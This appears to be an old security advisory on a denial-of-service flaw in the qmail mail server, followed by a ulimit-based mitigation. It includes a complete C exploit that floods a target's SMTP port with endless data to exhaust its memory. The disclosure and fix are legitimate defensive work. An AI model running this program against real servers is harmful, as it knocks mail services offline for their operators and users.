COMMAND

    qmail

SYSTEMS AFFECTED

    Systems running qmail

PROBLEM

    Wietse Venema  found following  a very  trivial denial  of service
    attack. By sending SMTP commands of unlimited length, an  attacker
    can  make  the  machine  run  out  of  memory,  thus  rendering it
    completely unusable.

    Below is a little program that demonstrates the problem.  It could
    probably be done a much smaller PERL program.  Exploit follows.

     /*
      * qmail-dos-1 - run a qmail system out of swap space by feeding long SMTP
      * commands.
      *
      * Usage: qmail-dos-1 hostname
      *
      * Author: Wietse Venema. The author is not responsible for abuse of this
      * program. Use at your own risk. Batteries not included.
      */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <stdarg.h>
    #include <errno.h>
    #include <stdio.h>

    void    fatal(char *fmt,...)
    {
        va_list ap;

        va_start(ap, fmt);
        vfprintf(stderr, fmt, ap);
        va_end(ap);
        putc('\n', stderr);
        exit(1);
    }

    int     main(int argc, char **argv)
    {
        struct sockaddr_in sin;
        struct hostent *hp;
        char    buf[BUFSIZ];
        int     sock;
        FILE   *fp;

        if (argc != 2)
            fatal("usage: %s host", argv[0]);
        if ((hp = gethostbyname(argv[1])) == 0)
            fatal("host %s not found", argv[1]);
        memset((char *) &sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
        sin.sin_port = htons(25);
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
            fatal("socket: %s", strerror(errno));
        if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
            fatal("connect to %s: %s", argv[1], strerror(errno));
        if ((fp = fdopen(sock, "r+")) == 0)
            fatal("fdopen: %s", strerror(errno));
        if (fgets(buf, sizeof(buf), fp) == 0)
            fatal("connection lost");
        memset(buf, 'X', sizeof(buf));
        fseek(fp, 0L, SEEK_SET);
        while (fputs(buf, fp) != EOF)
             /* void */ ;
    }

SOLUTION

    Put  some  upper  bound  on  the  amount  of data that qmail-smtpd
    reads per command.

    If you  are using  tcpserver it  should be  sufficient to  set the
    ulimit once in the startup  script.  All instances of  qmail-smtpd
    inherit the limit without further  overhead.  Seems to be  working
    fine here.

    echo "Starting tcpserver for qmail-smtpd..."
    ulimit -d 2048
    /usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
        /etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 2>&1 | \
        /var/qmail/bin/splogger smtpd 3 &